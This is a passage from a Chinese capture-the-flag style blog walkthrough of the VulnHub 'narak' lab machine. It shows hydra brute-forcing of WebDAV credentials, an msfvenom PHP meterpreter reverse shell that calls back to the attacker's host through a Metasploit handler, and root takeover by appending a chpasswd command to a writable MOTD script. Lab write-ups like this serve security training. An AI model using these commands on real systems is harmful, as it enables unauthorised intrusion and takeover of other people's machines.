当前位置:网站首页>【Try to Hack】vulnhub narak
【Try to Hack】vulnhub narak
2022-06-29 19:48:00 【开心星人】
博客主页:开心星人的博客主页
系列专栏:Try to Hack
欢迎关注点赞收藏️留言
首发时间:2022年6月29日
作者水平很有限,如果发现错误,还望告知,感谢!
靶机知识点
1、webdav(重点)
2、nikto发现敏感信息
3、cwel爬取字典
4、hydra爆破
5、ssh服务
6、msf反弹shell
7、motd提权
主机发现arp-scan -l
192.168.0.104 是靶机ip,因为VMware Inc
端口扫描nmap -p- -sV 192.168.0.104
ssh服务和http服务
访问一下80端口
是个图片展示
翻到最后,Do Not Click
点一下
看这个url
到了这个目录遍历页面,不知道会不会有PUT文件上传之类的漏洞
dirb http://192.168.0.104
常规扫目录

没有权限
访问webdav
需要账号密码。
webdav是基于http1.1的一种通信协议,类似于ftp的一种协议,可以上传下载文件。
继续看别的吧
nikto -host 192.168.0.104 -port 80
收集一下信息
这一步其实没啥意义,但有时候可能会有用
cwel爬取网页的账号密码cewl http://192.168.0.104/ -w dict.txt
hydra爆破 hydra -L dict.txt -P dict.txt 192.168.0.104 http-get /webdav
登录一下
还是用命令行来登录吧
cadaver http://192.168.0.104/webdav
webdav是基于http1.1的一种通信协议,类似于ftp的一种协议,可以上传下载文件。
再看一眼这个,所以可以传shell了
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.103 lport=7777 -o shell.php
生成一个反弹shell的payload
可能需要去掉这个注释符,我去掉了
保存为了shell0.php
webdav上传shellput shell0.php
msf开启监听
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.88.132
set lport 7777
run
浏览器访问一下我们上传的shell

msf这边拿到了shell
想用python弹一个交互式的shell,发现没有python,就这了python3 -c 'import pty; pty.spawn("/bin/bash")'
要用python3
可以了
suid提权
查找具有suid权限的二进制文件find / -user root -type f -perm -ug=x,o=w -exec ls -al {} \; 2>/dev/null
一个奇怪的hell.sh
直接看
brainfuck解码
得到chitragupt

用刚刚得到的密码,登录其他用户看看
先su看一下,不行在ssh

cd ~ 一定要去家目录看
拿到了第一个flag,第二个flag肯定是提权
不知道咋弄,看wp
motd提权
还是那个suid一部分可能
有一个00-header文件
motd(message of the day),每日提示,功能就是当我们登录时,来执行motd文件,达到提示目的。这里我们其他人也有修改权限,而且属主是root,可以用来提权。
当我们通过ssh登录成功的时候,这些sh脚本会以root权限运行输出那些欢迎信息和日期等等,并且我们当前这个用户对这些文件可读可写,那么提权思路就有了,我们可以通过在这些sh脚本中写入一个修改root用户密码的命令,这样当我们通过ssh用户登录到inferno这个账号上的时候,我们这些motd的sh脚本就会被以root用户的权限执行,这时候我们写入的修改root用户密码的命令也会被执行,之后我们只需要切换到root用户即可完成提权.
echo "echo 'root:inferno'|sudo chpasswd" >> /etc/update-motd.d/00-header
我们要用ssh登录infernossh -p 22 [email protected]
输入密码chitragupt
su root
输入密码为inferno
登录成功
flag就在/root下
边栏推荐
- Flutter 2.0 FocusScope. of(context). The requestfocus (focusnode()) does not take effect
- How important is it to make a silver K-line chart?
- Classic illustration of K-line diagram (Collection Edition)
- k线图经典图解(收藏版)
- CorelDRAW最新24.1.0.360版本更新介绍讲解
- There are more than 20 databases in a MySQL with 3306 ports. How can I backup more than 20 databases with one click and do system backup to prevent data from being deleted by mistake?
- There is no small green triangle on the method in idea
- 4-2 port banner information acquisition
- [observation] softcom power liutianwen: embrace change and "follow the trend" to become an "enabler" of China's digital economy
- 4-2端口Banner信息获取
猜你喜欢
![[USB flash disk test] in order to transfer the data at the bottom of the pressure box, I bought a 2T USB flash disk, and the test result is only 47g~](/img/c3/e0637385d35943f1914477bb9f2b54.png)
[USB flash disk test] in order to transfer the data at the bottom of the pressure box, I bought a 2T USB flash disk, and the test result is only 47g~

Flutter calls Baidu map app to realize location search and route planning

JVM(2) 垃圾回收

JVM (4) bytecode technology + runtime optimization

云服务器的安全设置常识

Understanding of software test logic coverage

4-2端口Banner信息获取

MBA-day26 数的概念与性质

Flume理论

As the "only" privacy computing provider, insight technology is the "first" to settle in the Yangtze River Delta data element circulation service platform
随机推荐
凌云出海记 | 文华在线&华为云:打造非洲智慧教学新方案
4-2 port banner information acquisition
JVM (2) garbage collection
Performance improvement at the cost of other components is not good
JVM(3) 类加载
软件测试逻辑覆盖相关理解
3 - 3 découverte de l'hôte - découverte à quatre niveaux
WPS和Excele
2022年理财利率都降了,那该如何选择理财产品?
@Sneakythlows annotation
MBA-day19 如果p则q矛盾关系p 且非q
2022年深圳市福田区支持招商引资若干政策
Zotero journal automatic matching update influence factor
Introduction to the latest version 24.1.0.360 update of CorelDRAW
Flume配置3——拦截器过滤
jfinal中如何使用过滤器监控Druid监听SQL执行?
数据安全解决方案的大时代
雲服務器的安全設置常識
畫虎國手孟祥順數字藏品限量發售,隨贈虎年茅臺
Detailed description of gaussdb (DWS) complex and diverse resource load management methods